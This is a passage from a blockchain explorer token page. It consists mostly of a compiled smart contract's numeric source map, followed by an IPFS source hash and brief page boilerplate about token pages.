0:39:0;;8705:2:1;6310:39:0;;;8687:21:1;8744:1;8724:18;;;8717:29;-1:-1:-1;;;8762:18:1;;;8755:39;8811:18;;6310:39:0;8503:332:1;6310:39:0;-1:-1:-1;;;;;5222:18:0;;6360:15;5222:18;;;:9;:18;;;;;;6412:17;;;;6404:46;;;;-1:-1:-1;;;6404:46:0;;9042:2:1;6404:46:0;;;9024:21:1;9081:2;9061:18;;;9054:30;-1:-1:-1;;;9100:18:1;;;9093:46;9156:18;;6404:46:0;8840:340:1;6404:46:0;-1:-1:-1;;;;;6468:19:0;;;;;;:13;:19;;;;;;;;6467:20;:42;;;;-1:-1:-1;;;;;;6492:17:0;;;;;;:13;:17;;;;;;;;6491:18;6467:42;6463:389;;;6526:21;6550:17;6559:8;6550:6;:17;:::i;:::-;6526:41;-1:-1:-1;6582:10:0;;6607:196;6623:1;6619;:5;6607:196;;;6684:44;;;;;;9368:19:1;;;9403:12;;;9396:28;;;6712:15:0;9440:12:1;;;9433:28;9477:12;;6684:44:0;;;;;;;;;;;;6674:55;;;;;;6669:61;;6648:84;;6751:36;6765:4;6770:2;6773:13;6751;:36::i;:::-;6625:3;;;;:::i;:::-;;;;6607:196;;;-1:-1:-1;6817:23:0;6827:13;6817:23;;:::i;:::-;;;6511:341;;6463:389;-1:-1:-1;;;;;6915:19:0;;6864:12;6915:19;;;:13;:19;;;;;;6864:12;;6915:19;;;:40;;-1:-1:-1;;;;;;6938:17:0;;;;;;:13;:17;;;;;;;;6915:40;6911:1117;;;-1:-1:-1;;;;;6977:19:0;;;;;;:13;:19;;;;;;;;6976:20;:42;;;;-1:-1:-1;;;;;;7001:17:0;;;;;;:13;:17;;;;;;;;7000:18;6976:42;6972:960;;;7048:15;;7043:1;:20;7039:133;;7100:15;;7096:1;:19;:40;;;;-1:-1:-1;;;;;;7119:17:0;;;;;;:13;:17;;;;;;;;7096:40;7088:64;;;;-1:-1:-1;;;7088:64:0;;9854:2:1;7088:64:0;;;9836:21:1;9893:2;9873:18;;;9866:30;-1:-1:-1;;;9912:18:1;;;9905:41;9963:18;;7088:64:0;9652:335:1;7088:64:0;7209:15;;:19;;7227:1;7209:19;:::i;:::-;7194:12;:34;7190:211;;;7253:30;7266:4;7272:2;7276:6;7253:12;:30::i;:::-;-1:-1:-1;;;;;7309:19:0;;;;;;:13;:19;;;;;;;;7306:47;;;-1:-1:-1;;;;;7330:14:0;;;;;;:10;:14;;;;;:21;;-1:-1:-1;;7330:21:0;7347:4;7330:21;;;7306:47;7375:7;;;6196:2024;;;:::o;7190:211::-;-1:-1:-1;;;;;7423:17:0;;;;;;:13;:17;;;;;;;;7419:465;;;7470:6;;;;7465:400;;7554:4;7505:28;5222:18;;;:9;:18;;;;;;7591:11;;;;:39;;;;;7629:1;7606:20;:24;7591:39;7587:255;;;7689:16;;7666:20;:39;7663:82;;;-1:-1:-1;7729:16:0;;7663:82;7776:38;7793:20;7776:16;:38::i;:::-;7478:387;7465:400;7912:4;7902:14;;6972:960;-1:-1:-1;;;;;7950:17:0;;;;;;:13;:17;;;;;;;;7946:71;;;-1:-1:-1;7997:4:0;7946:71;8038:49;8053:4;8059:2;8063:6;8071:7;8080:6;8038:14;:49::i;:::-;-1:-1:-1;;;;;8102:21:0;;8118:4;8102:21;8098:115;;8144:6;8140:62;;;8171:15;8181:4;8171:9;:15::i;8228:403::-;-1:-1:-1;;;;;8375:17:0;;;;;;:9;:17;;;;;;:27;;8395:7;;8375:27;:::i;:::-;-1:-1:-1;;;;;8355:17:0;;;;;;:9;:17;;;;;:47;;;;8448:3;8433:12;:7;8443:2;8433:12;:::i;:::-;:18;;;;:::i;:::-;8413:38;;8462:97;8490:6;8519:4;8539:9;8462:13;:97::i;:::-;8570:53;8584:6;8592:9;8603:19;8613:9;8603:7;:19;:::i;:::-;8570:13;:53::i;:::-;8344:287;8228:403;;;:::o;9487:1083::-;3468:6;:13;;-1:-1:-1;;3468:13:0;3477:4;3468:13;;;9596:10:::1;::::0;9584:9:::1;::::0;3468:6;;9584:22:::1;::::0;::::1;:::i;:::-;9565:41:::0;-1:-1:-1;9617:20:0::1;9565:41:::0;;9617:20:::1;:::i;:::-;;;9648:13;9677:9;;9664:10;;:22;;;;:::i;:::-;9648:38:::0;-1:-1:-1;9697:16:0::1;9738:8:::0;9716:19:::1;9648:38:::0;9716:11;:19:::1;:::i;:::-;:30;;;;:::i;:::-;9783:16;::::0;;9797:1:::1;9783:16:::0;;;;;::::1;::::0;;9697:49;;-1:-1:-1;9759:21:0::1;::::0;9783:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9783:16:0::1;9759:40;;9828:4;9810;9815:1;9810:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9810:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9854:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;9854:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;9810:7;;9854:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9844:4;9849:1;9844:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9844:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;9878:6:::1;::::0;::::1;:57;9950:22;9964:8:::0;9950:11;:22:::1;:::i;:::-;9987:1;10003:4;10030;10050:15;9878:198;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10101:5;10089:17;;;;;:::i;:::-;::::0;-1:-1:-1;10138:21:0::1;10176:12:::0;;10172:391:::1;;10205:19;10248:8:::0;10227:18:::1;10240:5:::0;10227:10;:18:::1;:::i;:::-;:29;;;;:::i;:::-;10205:51:::0;-1:-1:-1;10275:15:0;;10271:281:::1;;10311:6;::::0;10471:16:::1;::::0;10311:225:::1;::::0;-1:-1:-1;;;10311:225:0;;10380:4:::1;10311:225;::::0;::::1;11706:34:1::0;11756:18;;;11749:34;;;10311:6:0::1;11799:18:1::0;;;11792:34;;;11842:18;;;11835:34;-1:-1:-1;;;;;10471:16:0;;::::1;11885:19:1::0;;;11878:44;10506:15:0::1;11938:19:1::0;;;11931:35;10311:6:0;::::1;::::0;:22:::1;::::0;10341:11;;11640:19:1;;10311:225:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10271:281;10190:373;10172:391;-1:-1:-1::0;;3504:6:0;:14;;-1:-1:-1;;3504:14:0;;;-1:-1:-1;;;;9487:1083:0:o;8639:839::-;-1:-1:-1;;;;;8833:17:0;;;;;;:9;:17;;;;;;:27;;8853:7;;8833:27;:::i;:::-;-1:-1:-1;;;;;8813:17:0;;;;;;:9;:17;;;;;:47;;;;8909:496;;;;8937:15;8971:6;8967:127;;;-1:-1:-1;9008:10:0;;8967:127;;;-1:-1:-1;9069:9:0;;8967:127;9108:18;9149:3;9129:17;9139:7;9129;:17;:::i;:::-;:23;;;;:::i;:::-;9108:44;-1:-1:-1;9171:14:0;;9167:227;;9206:23;9219:10;9206:23;;:::i;:::-;;;9248:130;9284:6;9321:4;9349:10;9248:13;:130::i;:::-;8922:483;;8909:496;9417:53;9431:6;9439:9;9450:19;9460:9;9450:7;:19;:::i;12606:386::-;12698:16;;12729:8;;12725:47;;12754:7;12606:386;:::o;12725:47::-;-1:-1:-1;;;;;12791:16:0;;;;;;:11;:16;;;;;;12786:21;;12782:203;;12833:7;:14;12828:19;;:40;;;12865:3;-1:-1:-1;;;;;12851:17:0;:7;12859:1;12851:10;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;12851:10:0;:17;;12828:40;12824:150;;;12908:7;:14;;-1:-1:-1;;;;;12889:16:0;;;;;;:11;:16;;;;;:33;;;12941:17;;;;;;;;;;;;;-1:-1:-1;;;;;;12941:17:0;;;;;;12824:150;12646:346;12606:386;:::o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;:::-;386:5;150:247;-1:-1:-1;;;150:247:1:o;776:118::-;862:5;855:13;848:21;841:5;838:32;828:60;;884:1;881;874:12;899:382;964:6;972;1025:2;1013:9;1004:7;1000:23;996:32;993:52;;;1041:1;1038;1031:12;993:52;1080:9;1067:23;1099:31;1124:5;1099:31;:::i;:::-;1149:5;-1:-1:-1;1206:2:1;1191:18;;1178:32;1219:30;1178:32;1219:30;:::i;:::-;1268:7;1258:17;;;899:382;;;;;:::o;1286:597::-;1398:4;1427:2;1456;1445:9;1438:21;1488:6;1482:13;1531:6;1526:2;1515:9;1511:18;1504:34;1556:1;1566:140;1580:6;1577:1;1574:13;1566:140;;;1675:14;;;1671:23;;1665:30;1641:17;;;1660:2;1637:26;1630:66;1595:10;;1566:140;;;1724:6;1721:1;1718:13;1715:91;;;1794:1;1789:2;1780:6;1769:9;1765:22;1761:31;1754:42;1715:91;-1:-1:-1;1867:2:1;1846:15;-1:-1:-1;;1842:29:1;1827:45;;;;1874:2;1823:54;;1286:597;-1:-1:-1;;;1286:597:1:o;1888:689::-;1983:6;1991;1999;2052:2;2040:9;2031:7;2027:23;2023:32;2020:52;;;2068:1;2065;2058:12;2020:52;2108:9;2095:23;2137:18;2178:2;2170:6;2167:14;2164:34;;;2194:1;2191;2184:12;2164:34;2232:6;2221:9;2217:22;2207:32;;2277:7;2270:4;2266:2;2262:13;2258:27;2248:55;;2299:1;2296;2289:12;2248:55;2339:2;2326:16;2365:2;2357:6;2354:14;2351:34;;;2381:1;2378;2371:12;2351:34;2436:7;2429:4;2419:6;2416:1;2412:14;2408:2;2404:23;2400:34;2397:47;2394:67;;;2457:1;2454;2447:12;2394:67;2488:4;2480:13;;;;2512:6;;-1:-1:-1;2550:20:1;;;;2537:34;;1888:689;-1:-1:-1;;;;1888:689:1:o;2582:315::-;2650:6;2658;2711:2;2699:9;2690:7;2686:23;2682:32;2679:52;;;2727:1;2724;2717:12;2679:52;2766:9;2753:23;2785:31;2810:5;2785:31;:::i;:::-;2835:5;2887:2;2872:18;;;;2859:32;;-1:-1:-1;;;2582:315:1:o;2902:180::-;2961:6;3014:2;3002:9;2993:7;2989:23;2985:32;2982:52;;;3030:1;3027;3020:12;2982:52;-1:-1:-1;3053:23:1;;2902:180;-1:-1:-1;2902:180:1:o;3087:456::-;3164:6;3172;3180;3233:2;3221:9;3212:7;3208:23;3204:32;3201:52;;;3249:1;3246;3239:12;3201:52;3288:9;3275:23;3307:31;3332:5;3307:31;:::i;:::-;3357:5;-1:-1:-1;3414:2:1;3399:18;;3386:32;3427:33;3386:32;3427:33;:::i;:::-;3087:456;;3479:7;;-1:-1:-1;;;3533:2:1;3518:18;;;;3505:32;;3087:456::o;3945:377::-;4019:6;4027;4035;4088:2;4076:9;4067:7;4063:23;4059:32;4056:52;;;4104:1;4101;4094:12;4056:52;4143:9;4130:23;4162:28;4184:5;4162:28;:::i;:::-;4209:5;4261:2;4246:18;;4233:32;;-1:-1:-1;4312:2:1;4297:18;;;4284:32;;3945:377;-1:-1:-1;;;3945:377:1:o;4327:388::-;4395:6;4403;4456:2;4444:9;4435:7;4431:23;4427:32;4424:52;;;4472:1;4469;4462:12;4424:52;4511:9;4498:23;4530:31;4555:5;4530:31;:::i;:::-;4580:5;-1:-1:-1;4637:2:1;4622:18;;4609:32;4650:33;4609:32;4650:33;:::i;5207:356::-;5409:2;5391:21;;;5428:18;;;5421:30;5487:34;5482:2;5467:18;;5460:62;5554:2;5539:18;;5207:356::o;5568:380::-;5647:1;5643:12;;;;5690;;;5711:61;;5765:4;5757:6;5753:17;5743:27;;5711:61;5818:2;5810:6;5807:14;5787:18;5784:38;5781:161;;5864:10;5859:3;5855:20;5852:1;5845:31;5899:4;5896:1;5889:15;5927:4;5924:1;5917:15;5781:161;;5568:380;;;:::o;6367:127::-;6428:10;6423:3;6419:20;6416:1;6409:31;6459:4;6456:1;6449:15;6483:4;6480:1;6473:15;6499:168;6539:7;6605:1;6601;6597:6;6593:14;6590:1;6587:21;6582:1;6575:9;6568:17;6564:45;6561:71;;;6612:18;;:::i;:::-;-1:-1:-1;6652:9:1;;6499:168::o;7028:125::-;7068:4;7096:1;7093;7090:8;7087:34;;;7101:18;;:::i;:::-;-1:-1:-1;7138:9:1;;7028:125::o;7158:127::-;7219:10;7214:3;7210:20;7207:1;7200:31;7250:4;7247:1;7240:15;7274:4;7271:1;7264:15;7290:135;7329:3;7350:17;;;7347:43;;7370:18;;:::i;:::-;-1:-1:-1;7417:1:1;7406:13;;7290:135::o;7430:184::-;7500:6;7553:2;7541:9;7532:7;7528:23;7524:32;7521:52;;;7569:1;7566;7559:12;7521:52;-1:-1:-1;7592:16:1;;7430:184;-1:-1:-1;7430:184:1:o;7619:217::-;7659:1;7685;7675:132;;7729:10;7724:3;7720:20;7717:1;7710:31;7764:4;7761:1;7754:15;7792:4;7789:1;7782:15;7675:132;-1:-1:-1;7821:9:1;;7619:217::o;8120:245::-;8187:6;8240:2;8228:9;8219:7;8215:23;8211:32;8208:52;;;8256:1;8253;8246:12;8208:52;8288:9;8282:16;8307:28;8329:5;8307:28;:::i;8370:128::-;8410:3;8441:1;8437:6;8434:1;8431:13;8428:39;;;8447:18;;:::i;:::-;-1:-1:-1;8483:9:1;;8370:128::o;9500:147::-;9538:3;-1:-1:-1;;;;;9559:30:1;;9556:56;;9592:18;;:::i;10124:251::-;10194:6;10247:2;10235:9;10226:7;10222:23;10218:32;10215:52;;;10263:1;10260;10253:12;10215:52;10295:9;10289:16;10314:31;10339:5;10314:31;:::i;10380:980::-;10642:4;10690:3;10679:9;10675:19;10721:6;10710:9;10703:25;10747:2;10785:6;10780:2;10769:9;10765:18;10758:34;10828:3;10823:2;10812:9;10808:18;10801:31;10852:6;10887;10881:13;10918:6;10910;10903:22;10956:3;10945:9;10941:19;10934:26;;10995:2;10987:6;10983:15;10969:29;;11016:1;11026:195;11040:6;11037:1;11034:13;11026:195;;;11105:13;;-1:-1:-1;;;;;11101:39:1;11089:52;;11196:15;;;;11161:12;;;;11137:1;11055:9;11026:195;;;-1:-1:-1;;;;;;;11277:32:1;;;;11272:2;11257:18;;11250:60;-1:-1:-1;;;11341:3:1;11326:19;11319:35;11238:3;10380:980;-1:-1:-1;;;10380:980:1:o;11977:306::-;12065:6;12073;12081;12134:2;12122:9;12113:7;12109:23;12105:32;12102:52;;;12150:1;12147;12140:12;12102:52;12179:9;12173:16;12163:26;;12229:2;12218:9;12214:18;12208:25;12198:35;;12273:2;12262:9;12258:18;12252:25;12242:35;;11977:306;;;;;:::o

Swarm Source

ipfs://95a6da83bb71580d5cc86524fea507aed8fb2538b0c476e0ed7af011eb652697
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.